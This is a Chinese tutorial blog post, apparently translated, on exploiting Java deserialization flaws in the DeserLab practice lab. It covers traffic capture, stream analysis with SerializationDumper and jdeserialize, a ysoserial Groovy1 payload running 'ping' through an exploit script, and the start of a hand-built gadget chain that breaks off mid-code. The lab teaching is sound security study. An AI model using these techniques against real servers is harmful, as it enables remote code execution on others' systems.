java将文本反序列化读取_Java反序列化漏洞利用的学习与实践

本文讲的是Java反序列化漏洞利用的学习与实践,

a4c26d1e5885305701be709a3d33442f.png

利用DeserLab

建议你在阅读本文之前,先阅读《攻击Java反序列化过程》,这样你就会对java反序列化有一个比较清晰的认识。除此之外,这篇文章还提到了一个“DeserLab”的演示应用。为了有效利用反序列化漏洞,理解序列化的原理以及反序列化漏洞利用的工作原理(如面向属性的编程原理),研究人员就要找到一个可供模拟的实验环境,而“DeserLab”就是一个这样的环境。

要想利用一个漏洞,通常的方法首先是先了解目标在正常的情况下是如何运行的。对于“DeserLab”实验环境来说,需要做以下3方面的准备:

1.运行服务器和客户机;

2.捕获流量;

3.了解流量。

你可以使用以下命令,运行服务器和客户端:

java -jar DeserLab.jar -server 127.0.0.1 6666

java -jar DeserLab.jar -client 127.0.0.1 6666

上述命令的输入及输出如下:

java -jar DeserLab.jar -server 127.0.0.1 6666

[+] DeserServer started, listening on 127.0.0.1:6666

[+] Connection accepted from 127.0.0.1:50410

[+] Sending hello...

[+] Hello sent, waiting for hello from client...

[+] Hello received from client...

[+] Sending protocol version...

[+] Version sent, waiting for version from client...

[+] Client version is compatible, reading client name...

[+] Client name received: testing

[+] Hash request received, hashing: test

[+] Hash generated: 098f6bcd4621d373cade4e832627b4f6

[+] Done, terminating connection.

java -jar DeserLab.jar -client 127.0.0.1 6666

[+] DeserClient started, connecting to 127.0.0.1:6666

[+] Connected, reading server hello packet...

[+] Hello received, sending hello to server...

[+] Hello sent, reading server protocol version...

[+] Sending supported protocol version to the server...

[+] Enter a client name to send to the server:

testing

[+] Enter a string to hash:

test

[+] Generating hash of "test"...

[+] Hash generated: 098f6bcd4621d373cade4e832627b4f6

但我的主要问题是,如何实现反序列化?为了回答这个问题,你可以用wireshark,tcpdump或者tshark来捕获6666号端口的流量。要捕获带有tcpdump的流量,你可以执行以下命令:

tcpdump -i lo -n -w deserlab.pcap 'port 6666'

不过要注意的是,请确保你使用wireshark浏览过pcap文件。这样,你就应该能够手动地处理一些进程了,至少能确认序列化的Java对象正在来回传递:

a4c26d1e5885305701be709a3d33442f.png

序列化数据的提取

现在让我开始了解实际传输的内容,要提前说明的是,我使用的是SerializationDumper的工具,利用这个工具,我可以识别反序列化漏洞利用的入口点。这个工具可以解析Java序列化流,将序列化流以可视化的形式导出。在使用该工具之前,我需要提前准备一些数据,所以让我先把pcap转换成可以分析的数据。

tshark -r deserlab.pcap -T fields -e tcp.srcport -e data -e tcp.dstport -E separator=, | grep -v ',,' | grep '^6666,' | cut -d',' -f2 | tr 'n' ':' | sed s/://g

将其分解为可以分析的小块,以便将pcap数据转换成一个十六进制编码的输出字符串。分解所做的第一件事是将pcap转换成只包含传输的数据和tcp源端口号的文本:

tshark -r deserlab.pcap -T fields -e tcp.srcport -e data -e tcp.dstport -E separator=,

它看起来像这样:

50432,,6666

6666,,50432

50432,,6666

50432,aced0005,6666

6666,,50432

6666,aced0005,50432

就像你在TCP三次握手(Three-way

Handshake)过程中可以看到的那样,没有数据,因此是“,,”部分。在此之后,客户端发送第一个字节,该字节由服务器发送,然后服务器再发送一些字节,以此类推。命令的第二部分将此转换为一个字符串,该字符串仅根据队列开头的端口选择的载荷进行选择:

| grep -v ',,' | grep '^6666,' | cut -d',' -f2 | tr 'n' ':' | sed s/://g

译者注:三次握手的目的是连接服务器指定端口,建立TCP连接,并同步连接双方的序列号和确认号并交换TCP窗口大小信息。

上面只选择了服务器的响应,如果你想要客户端数据,你就需要更改端口号。最终的结果是这样的:

aced00057704f000baaa77020101737200146e622e64657365722e486[...]

我会选择两个工具来分析这些数据,首先使用的是SerializationDumper,其次使用jdeserialize。如果你想知道为什么要使用两种工具进行分析?我可以告诉你,通过实践潜在的漏洞很容易被发现。

序列化数据的分析

使用SerializationDumper,你可以将序列化数据的十六进制表示作为第一个参数来传递:

java -jar SerializationDumper-v1.0.jar aced00057704f000baaa77020101

这将导致如下输出:

STREAM_MAGIC - 0xac ed

STREAM_VERSION - 0x00 05

Contents

TC_BLOCKDATA - 0x77

Length - 4 - 0x04

Contents - 0xf000baaa

TC_BLOCKDATA - 0x77

Length - 2 - 0x02

Contents - 0x0101

TC_OBJECT - 0x73

TC_CLASSDESC - 0x72

className

Length - 20 - 0x00 14

Value - nb.deser.HashRequest - 0x6e622e64657365722e4861736852657175657374

如果我想要用jdeserialize分析相同的序列化数据,就必须首先构建jdeserialize,你可以使用anthttp://ant.apache.org/为它构建xml文件。我选择了手动编译,你可以通过以下命令实现:

mkdir build

javac -d ./build/ src/*

cd build

jar cvf jdeserialize.jar *

译者注:经过序列化的数据可以存储为文本格式的数据,如JSON或者XML,也可以存储为二进制格式的数据。

这样就产生一个我可以使用的jar文件:

java -cp jdeserialize.jar org.unsynchronized.jdeserialize

考虑到jdeserialize,我可以将序列化数据的十六进制表示转换成python:

open('rawser.bin','wb').write('aced00057704f000baaa77020146636'.decode('hex'))

现在,我可以通过将jdeserialize文件作为第一个应该产生的参数来分析这个文件。

java -cp jdeserialize.jar org.unsynchronized.jdeserialize rawser.bin

read: [blockdata 0x00: 4 bytes]

read: [blockdata 0x00: 2 bytes]

read: nb.deser.HashRequest _h0x7e0002 = r_0x7e0000;

 BEGIN stream content output

[blockdata 0x00: 4 bytes]

[blockdata 0x00: 2 bytes]

nb.deser.HashRequest _h0x7e0002 = r_0x7e0000;

 END stream content output

 BEGIN class declarations (excluding array classes)

class nb.deser.HashRequest implements java.io.Serializable {

java.lang.String dataToHash;

java.lang.String theHash;

}

 END class declarations

 BEGIN instance dump

[instance 0x7e0002: 0x7e0000/nb.deser.HashRequest

field data:

0x7e0000/nb.deser.HashRequest:

dataToHash: r0x7e0003: [String 0x7e0003: "test"]

theHash: r0x7e0004: [String 0x7e0004: "098f6bcd4621d373cade4e832627b4f6"]

]

 END instance dump

我从两个序列化数据分析工具的输出中了解到的两件事,第一件事是,它是序列化数据。第二件事是,一个对象的nb .

deser。HashRequest在客户端和服务器之间传输,如果我还将此分析与之前的wireshark检查结合起来,我还能了解到用户名是在TC_BLOCKDATA类型中作为字符串发送的:

TC_BLOCKDATA - 0x77

Length - 9 - 0x09

Contents - 0x000774657374696e67

'000774657374696e67'.decode('hex')

'x00x07testing'

这让我很好地了解了“DeserLab”实验室客户端和”DeserLab”实验室服务器之间的通信方式,现在来看看如何利用Ysoserial工具,ysoserial生成的载荷即可让readObject()实现任意命令执行。

开发DeserLab

至此,我对pcap分析以及对序列化数据的分析有了清晰的了解,这样,我就可以构建我自己的python脚本,其中包含一些硬编码的数据,我将在其中嵌入

ysoserial

载荷。为了让它保持精简,并让它与wireshark序列化流匹配,我决定让它完全类似于wireshark序列化流,它看起来像这样:

mydeser = deser(myargs.targetip, myargs.targetport)

mydeser.connect()

mydeser.

mydeser.protohello()

mydeser.protoversion()

mydeser.clientname()

mydeser.exploit(myargs.payloadfile)

你可以在这里找到完整的脚本,可以看到,最简单的方法就是把硬编码过的所有也出现了,不过我要告诉你的是,这些都不重要,重要的是,你应该知道我是如何实际生成和发送

ysoserial 载荷的。

为此,在我阅读了几篇文章(本文后面的附注)之后,发现了大多数vulns都与Java对象的反序列化有关。

因此,当我回顾信息交换时,发现可以在一个地方交换Java对象。在序列化分析的输出中可以很容易地发现这一点,因为它或者包含“TC_OBJECT

– 0x73”或者:

 BEGIN stream content output

[blockdata 0x00: 4 bytes]

[blockdata 0x00: 2 bytes]

[blockdata 0x00: 9 bytes]

nb.deser.HashRequest _h0x7e0002 = r_0x7e0000;  END stream content output

我可以清楚地看到,序列化流内容的最后一部分是“nb.deser.HashRequest”对象。这个对象被读取的地方也是交换的最后一部分,因此这也解释了为什么代码将利用函数作为代码的最后一部分。现在我知道了我的可利用载荷应处于什么位置,以及我如何选择,生成和发送有效载荷。

“DeserLab”实验室的代码本身并没有任何有用的东西,我可以通过修改序列化的漏洞来进一步开发。

因此,这意味着我必须寻找可能包含可以帮助我的代码的额外的库。在”DeserLab”实验室中只有一个库是Groovy,因此对于我应该使用的ysoserial

有效载荷。不过要注意的是,对于现实世界的应用程序,你可能需要自己将未知的库进行分解,并寻找有用的gadget,因为许多情况下,我们需要串联多个POP利用点才能形成完整的利用程序。POP利用点指的是一个代码片段,我可以修改某些对象的属性来影响这个代码片段,使其满足我的特定需求。

由于我知道将用于开发的库,所以有效载荷的生成非常简单:

java -jar ysoserial-master-v0.0.4-g35bce8f-67.jar Groovy1 'ping 127.0.0.1' > payload.bin

需要注意的是,有效载荷传递是盲目的,所以如果你想知道它是否有效,你通常需要一些方法来检测它。

现在我必须删除有效载荷的前四个字节,才能并将其发送出去:

./deserlab_exploit.py 127.0.0.1 6666 payload_ping_localhost.bin 2017-09-07 22:58:05,401 - INFO - Connecting

2017-09-07 22:58:05,401 - INFO - java serialization handshake

2017-09-07 22:58:05,403 - INFO - protocol specific handshake

2017-09-07 22:58:05,492 - INFO - protocol specific version handshake

2017-09-07 22:58:05,571 - INFO - sending name of connected client

2017-09-07 22:58:05,571 - INFO - exploiting

如果一切都顺利,你应该看到以下内容:

sudo tcpdump -i lo icmp

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes

22:58:06.215178 IP localhost > localhost: ICMP echo request, id 31636, seq 1, length 64

22:58:06.215187 IP localhost > localhost: ICMP echo reply, id 31636, seq 1, length 64

22:58:07.215374 IP localhost > localhost: ICMP echo request, id 31636, seq 2, length 64

这就是我成功开发的“DeserLab”实验室。

手动构建有效载荷

了解我的有效载荷的最佳方法是我自己重新构建相同的载荷,这就意味着要编写Java。但问题是我从哪里开始?我可以看一下序列化有效载荷,就像我看pcap时一样。下面的一行代码将有效载荷转换为hex字符串,我可以使用SerializationDumper分析它,或者你可以使用jdeserialize分析。

open('payload.bin','rb').read().encode('hex

有一个重要的概念,你需要注意,那就是当你执行反序列化攻击时,你发送的是一个对象的“保存”状态。这意味着你完全依赖接收方的行为,具体地说,就是取决于你在“保存”状态被反序列化时所采取的操作。这意味着,如果对方不调用你发送的对象的任何方法,则不会执行远程代码执行,这意味着你所受到的惟一影响是你发送的对象属性设置。

现在这个概念很清楚,这意味着我发送的第一个类应该有一个自动的方法,如果我想要实现代码的执行,第一个类就很重要。如果我看看AnnotationInvocationHandler的代码,就可以看到构造函数接受一个

java.util.map对象和readObject调用map对象上的方法。当一个序列化流被反序列化时,readObject会被自动调用。以下就是我构建的代码:

//this is the first class that will be deserialized

String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";

//access the constructor of the AnnotationInvocationHandler class

final Constructor

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值